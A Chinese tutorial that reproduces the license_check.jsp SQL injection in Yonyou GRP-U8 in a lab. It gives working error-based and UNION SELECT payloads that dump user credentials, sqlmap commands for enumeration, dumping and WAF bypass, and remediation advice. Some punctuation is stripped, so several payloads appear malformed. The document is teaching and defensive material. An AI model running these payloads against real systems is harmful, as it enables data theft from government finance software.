
1. 项目概述与背景最近在梳理一些历史遗留的企业级应用安全风险时用友GRP-U8这个老牌政务财务软件又进入了我的视野。特别是其中那个经典的license_check.jsp文件SQL注入漏洞虽然官方早已发布补丁但在一些未及时更新的老旧系统、甚至是一些测试环境中它依然是一个极具代表性的“活教材”。这个漏洞的复现过程几乎涵盖了Web安全中SQL注入漏洞从发现、验证到利用的完整链条对于理解参数拼接、错误回显、联合查询等核心概念非常有帮助。今天我就以一个安全研究者的视角带大家完整地走一遍这个漏洞的复现流程并深入拆解其背后的原理和防御思路。无论你是刚入门的安全爱好者还是想巩固Web安全基础的同学相信这篇手把手的实战记录都能给你带来一些实实在在的收获。2. 漏洞原理深度解析2.1 漏洞触发点定位license_check.jsp用友GRP-U8的license_check.jsp文件从名字上看是用于校验软件授权许可的。在早期的版本中开发人员为了便捷在处理前端传入的参数时直接将其拼接到了SQL查询语句中而没有经过任何过滤或预编译处理。这是典型的“字符串拼接式”SQL注入漏洞的根源。具体到代码层面我们可以推测其原始逻辑可能类似这样此为基于漏洞原理的还原非真实源码String productKey request.getParameter(key); String sql SELECT * FROM u8_license WHERE license_key productKey ; // 然后执行这条sql语句当攻击者控制key这个参数时灾难就发生了。例如如果传入key的值为 OR 11那么最终拼接的SQL语句就变成了SELECT * FROM u8_license WHERE license_key OR 11由于11这个条件永远为真这条查询语句就会返回u8_license表中的所有记录从而绕过了授权检查。这就是最基础的“永真条件”绕过。2.2 漏洞利用的上下文错误回显与联合查询这个漏洞的危害之所以被放大离不开两个关键环境因素错误回显当注入的SQL语句存在语法错误时应用服务器如Tomcat可能会将详细的数据库错误信息包括数据库类型、表结构、错误语句等直接返回给前端页面。这相当于给攻击者打开了一扇“信息之窗”极大地降低了盲注的难度。数据库权限GRP-U8连接数据库的账户通常具有较高的权限例如SELECT任意表。这使得攻击者可以利用联合查询UNION SELECT将任意数据如其他表的管理员账号密码一起查询并回显到页面上。结合这两点攻击者的利用思路就从简单的“绕过验证”升级为“窃取核心数据”。他们可以通过精心构造的注入载荷先判断数据库类型和版本再一步步“爆”出数据库名、表名、字段名最终获取敏感信息。注意在实际的漏洞复现或安全测试中必须严格控制在授权范围内进行。任何对未授权系统的测试行为都是违法的。本文所有操作均在自主搭建的、隔离的测试环境中完成。3. 靶场环境搭建与配置3.1 环境准备清单为了安全、合法地复现该漏洞我们需要准备一个完整的靶场环境。以下是所需的组件清单组件推荐版本作用说明获取/安装要点虚拟机软件VMware Workstation 16 / VirtualBox 6.0提供隔离的沙箱环境防止操作影响宿主机。确保开启虚拟化支持BIOS中VT-x/AMD-V。Windows ServerWindows Server 2008 R2模拟用友GRP-U8常见的服务器操作系统环境。可从微软官网下载评估版镜像。数据库Microsoft SQL Server 2008 R2GRP-U8常用的后端数据库。安装时选择混合身份验证SQL Server和Windows记住sa密码。中间件Java JDK 1.6运行JSP应用所需环境。配置JAVA_HOME和Path系统环境变量。应用服务器Apache Tomcat 6.0部署并运行包含漏洞的Web应用。解压即用需配置CATALINA_HOME。漏洞应用用友GRP-U8 特定历史版本包含漏洞license_check.jsp的Web应用包。重要仅从可信的漏洞研究或教学平台获取用于测试的漏洞程序包切勿使用未经授权的商业软件。3.2 关键配置步骤与避坑指南搭建环境是整个复现过程中最容易出错的环节我结合多次搭建的经验把几个关键步骤和坑点列出来SQL Server配置安装完成后务必通过SQL Server Management Studio (SSMS)连接数据库并启用TCP/IP协议。默认情况下SQL Server可能只允许本地命名管道连接这将导致Tomcat应用无法远程连接数据库。在“SQL Server配置管理器”中找到“SQL Server网络配置”-“MSSQLSERVER的协议”将TCP/IP状态改为“已启用”。数据库连接文件用友GRP-U8的数据库连接配置通常存放在一个如config.properties或jdbc.xml的文件中。你需要根据获取到的漏洞应用包内的实际文件修改其中的数据库连接字符串、用户名和密码确保Tomcat中的应用能成功连上你刚安装的SQL Server。常见的连接字符串格式为jdbc:sqlserver://localhost:1433;DatabaseNameU8DB;usersa;passwordYourPassword。Tomcat部署将准备好的Web应用包通常是一个WAR文件或包含WEB-INF的文件夹放入Tomcat的webapps目录下。启动Tomcat运行bin/startup.bat观察日志logs/catalina.out是否有报错。最常见的错误就是数据库连接失败请根据错误信息回头检查上一步的配置。防火墙与端口确保Windows防火墙放行了1433(SQL Server) 和8080(Tomcat默认端口) 端口以便你能从宿主机访问靶场服务。实操心得建议在虚拟机中为每个关键步骤如安装完SQL Server、配置完Tomcat创建一个快照。这样一旦后续操作出错可以快速回滚到上一个稳定状态节省大量重装系统的时间。4. 手工注入漏洞复现全流程环境就绪后我们进入最核心的手工注入环节。这个过程就像侦探破案一步步推理和试探。4.1 第一步漏洞点探测与参数定位首先我们通过浏览器访问靶场地址例如http://192.168.1.100:8080/grpu8/找到可能存在漏洞的license_check.jsp页面。其URL可能形如http://192.168.1.100:8080/grpu8/license_check.jsp?keytest我们的目标就是key这个参数。为了验证它是否存在SQL注入我们尝试输入一些经典的“试探符”单引号测试将参数改为keytest。如果页面返回了数据库错误信息如包含“SQL”、“Syntax”、“near”等关键词那么这是一个强烈的注入信号说明我们的输入被直接拼接到了SQL语句中并且破坏了其语法结构。逻辑测试keytest AND 11这是一个永真条件如果页面返回正常例如显示“校验成功”或正常内容。keytest AND 12这是一个永假条件如果页面返回异常如“校验失败”、空白或错误。 当“永真”和“永假”返回的页面状态有明显不同时就可以基本确认存在基于字符串的SQL注入漏洞。4.2 第二步信息收集与数据库侦察确认漏洞存在后我们开始利用错误回显收集信息。注入keytest AND 1CONVERT(int, version)--。version是SQL Server的系统变量用于获取版本信息。CONVERT(int, ...)试图将版本字符串转换为整数这必然会导致类型转换错误。--是SQL中的单行注释符用于注释掉原SQL语句中后续可能存在的其他字符如闭合的单引号确保我们的语句语法正确。执行后页面很可能会爆出一个错误其中就包含了version的内容例如“Microsoft SQL Server 2008 R2 ...”。这样我们就知道了数据库的类型和版本。接下来我们利用联合查询来获取更多信息。但使用UNION SELECT的前提是前后两个SELECT语句查询的列数必须相同。我们需要先判断原查询的列数。使用ORDER BY子句猜解列数 我们依次尝试keytest ORDER BY 1--(页面正常)keytest ORDER BY 5--(页面正常)keytest ORDER BY 10--(页面可能报错“ORDER BY 位置号10超出了选择列表中项数的范围”) 通过不断调整数字直到页面从正常变为错误那么最后一个正常的数字就是大致的列数。假设ORDER BY 7正常ORDER BY 8报错则原查询大概率有7列。使用UNION SELECT确认列数及探测回显点keytest UNION SELECT 1,2,3,4,5,6,7--如果页面正常显示并且页面中的某些位置出现了我们注入的数字如235那么这些位置就是我们可以用来回显数据的地方。例如如果数字“2”和“5”显示在了网页的标题和正文里那么后续我们就可以把想要查询的数据放在UNION SELECT的第2和第5列。4.3 第三步步步为营获取敏感数据现在我们知道了列数和回显点就可以开始系统地拖取数据了。获取当前数据库名keytest UNION SELECT 1, db_name(), 3, 4, 5, 6, 7--假设db_name()函数放在第2列回显点那么页面上显示数字“2”的位置就会变成当前数据库的名称比如U8Data。获取所有数据库名SQL Serverkeytest UNION SELECT 1, name, 3,4,5,6,7 FROM master..sysdatabases--这会将所有数据库名显示出来。注意我们可能需要结合Burp Suite等工具或者通过分页的方式OFFSET FETCH来查看所有结果。获取当前数据库的表名keytest UNION SELECT 1, table_name, 3,4,5,6,7 FROM information_schema.tables WHERE table_catalogU8Data--information_schema.tables是系统视图包含了表信息。这里我们筛选出当前数据库U8Data下的所有表。你可能会看到像U8_User、U8_Account这类与用户、账务相关的敏感表名。获取指定表的列名例如U8_User表keytest UNION SELECT 1, column_name, 3,4,5,6,7 FROM information_schema.columns WHERE table_nameU8_User--这样就能得到该表的所有字段名如user_id,login_name,password,real_name等。最终攻击拖取用户账号密码keytest UNION SELECT 1, login_name, password, real_name, 5,6,7 FROM U8_User--假设我们将login_name、password、real_name分别放在第2、3、4列都是回显点那么页面上就会清晰地展示出所有用户的登录名、密码可能是明文或哈希值和真实姓名。至此一次完整的数据窃取就完成了。注意事项在实际的漏洞复现或渗透测试中获取到密码哈希值后绝对不应该尝试在非授权系统上进行破解或登录。我们的目的仅限于验证漏洞的危害性。在测试报告中应对敏感信息进行打码处理。5. 自动化工具辅助验证与拓展手工注入能让我们深刻理解原理但在效率上无法与工具相比。对于这类已知的、有明确特征的漏洞我们可以使用sqlmap这样的自动化神器进行快速验证和利用。5.1 使用sqlmap进行快速验证在确认漏洞存在后我们可以使用以下命令进行快速扫描python sqlmap.py -u http://192.168.1.100:8080/grpu8/license_check.jsp?keytest --batch-u指定目标URL。--batch以非交互模式运行自动选择默认选项。sqlmap会自动识别注入类型、数据库类型并询问你是否要进行进一步的测试。在授权测试中我们可以让它继续枚举数据python sqlmap.py -u http://192.168.1.100:8080/grpu8/license_check.jsp?keytest --dbs--dbs参数用于枚举所有数据库。类似的--tables、--columns、--dump参数可以分别用于枚举表、列和拖取数据。5.2 sqlmap高级参数与绕过技巧在一些简单的防护措施面前可能需要调整sqlmap的策略处理延迟如果网络或应用响应慢可以增加超时时间--timeout30。绕过WAF如果存在Web应用防火墙可以尝试使用--tamper参数加载脚本对注入载荷进行混淆。例如--tamperspace2comment将空格替换为注释。指定注入点如果URL有多个参数可以用星号标记注入点-u http://target/page.jsp?id1*nameadmin。实操心得虽然sqlmap很强大但它发出的请求特征明显容易被入侵检测系统IDS识别。在授权的渗透测试中可以先用手工注入确认漏洞再用sqlmap的--level和--risk参数从低级别开始扫描并配合--proxy使用代理来观察流量这本身也是一个学习过程。6. 漏洞根因分析与安全加固建议复现漏洞不是终点理解其成因并知道如何修复和防御才是安全工作的价值所在。6.1 漏洞根源总结用友GRP-U8license_check.jsp漏洞的本质是开发安全意识的缺失具体表现为未使用参数化查询预编译语句这是最根本的原因。任何用户输入都不应直接拼接SQL语句。不当的错误处理机制将详细的数据库错误信息直接展示给前端用户为攻击者提供了“指路明灯”。生产环境应使用自定义的错误页面记录详细日志到后端而非反馈给用户。数据库权限过宽应用使用的数据库账号拥有过高的权限如DBA权限。应遵循最小权限原则仅为应用账号授予其必需操作如特定表的SELECT、INSERT的权限。6.2 修复与防御方案对于开发人员而言修复方案是明确的采用参数化查询PreparedStatement这是防御SQL注入的首选和最有效方法。以Java为例修复后的代码应类似于String sql SELECT * FROM u8_license WHERE license_key ?; PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, productKey); // 安全地将参数传入 ResultSet rs pstmt.executeQuery();此时无论productKey传入什么内容数据库都会将其视为一个整体的字符串值而不是可执行的SQL代码片段。实施严格的输入验证在业务逻辑允许的范围内对输入进行白名单过滤。例如如果授权码只能是数字和字母则使用正则表达式^[a-zA-Z0-9]$进行校验拒绝任何包含特殊字符的输入。最小化错误信息在生产环境中配置全局异常处理捕获所有未处理的异常并返回统一的、友好的错误页面如“系统繁忙请稍后再试”同时将详细的异常堆栈信息记录到安全的服务器日志中。降低数据库连接权限创建专用的数据库用户仅授予其对u8_license等必要表的SELECT权限收回其对sysdatabases、information_schema等系统视图的访问权限。6.3 企业级防护体系建设对于系统运维和安全管理人员除了督促修复具体漏洞外还应建立纵深防御体系Web应用防火墙WAF部署WAF可以有效拦截常见的SQL注入攻击载荷为修复漏洞争取时间。定期安全扫描与渗透测试对线上系统尤其是老旧系统应定期进行自动化漏洞扫描和人工渗透测试主动发现潜在风险。补丁管理与生命周期管理建立严格的软件补丁更新流程。对于像用友GRP-U8这类已停止维护的老旧系统应评估其升级或替换方案将其纳入IT资产的生命周期管理。7. 复现过程中的常见问题与排查在复现过程中你可能会遇到以下问题这里给出我的排查思路问题现象可能原因排查步骤与解决方案访问license_check.jsp返回4041. 应用未成功部署。2. URL路径错误。3. JSP文件不存在于漏洞包中。1. 检查Tomcatwebapps目录下是否有对应应用文件夹查看logs/catalina.out启动日志有无部署错误。2. 确认访问路径尝试列出webapps/grpu8/目录下的文件清单。3. 确认使用的漏洞包是否完整。注入单引号后页面无变化或报“空指针”等Java错误1. 漏洞点不在此参数。2. 参数被后端进行了某种处理如解码、替换。3. 错误被应用捕获但未回显数据库错误。1. 尝试其他参数或使用Burp Suite拦截请求对所有参数进行模糊测试fuzzing。2. 尝试对注入载荷进行URL编码如编码为%27。3. 尝试“永真”和“永假”逻辑测试观察页面内容而非错误的细微差别可能是一个“盲注”漏洞。UNION SELECT执行后页面报错或显示不正常1. 列数判断错误。2. 前后SELECT语句的字段数据类型不兼容。3. 数据库权限不足无法查询系统视图。1. 重新使用ORDER BY精确判断列数。2. 在UNION SELECT中将回显点的位置尝试用NULL或不同数据类型的值如a字符串、1数字。3. 换用当前数据库用户有权访问的视图或表进行查询。sqlmap无法检测到注入点1. 目标有基础防护如简单的过滤。2. 网络不稳定或目标响应慢。3. Cookie或Session依赖。1. 尝试使用--level 2或--risk 2提高检测等级。2. 使用--timeout增加超时使用--delay设置请求延迟。3. 使用--cookie参数带入从浏览器获取的Cookie值。获取到的密码字段是哈希值数据库存储的是密码的MD5、SHA1等哈希值而非明文。这是良好的安全实践。在测试报告中应注明“密码已哈希存储”。可以尝试在离线环境下使用彩虹表或哈希破解工具如John the Ripper进行破解仅用于评估哈希强度。整个复现过程走下来最大的感触是很多高危漏洞的根源往往在于最初开发时对安全规范的忽视。一个简单的字符串拼接在特定条件下就能演变成整个系统沦陷的入口。作为防御方我们必须树立“安全左移”的思想在编码阶段就杜绝此类问题。而对于安全研究者或学习者来说像这样在一个可控的环境里亲手触发、分析并利用一个真实存在的漏洞其带来的理解深度是任何理论教材都无法比拟的。它让你直观地看到攻击链是如何串联起来的从而在设计或评审系统时能更敏锐地识别出潜在的风险点。最后再次强调所有的安全测试技术都应在法律和道德许可的范围内用于提升系统和产品的安全性。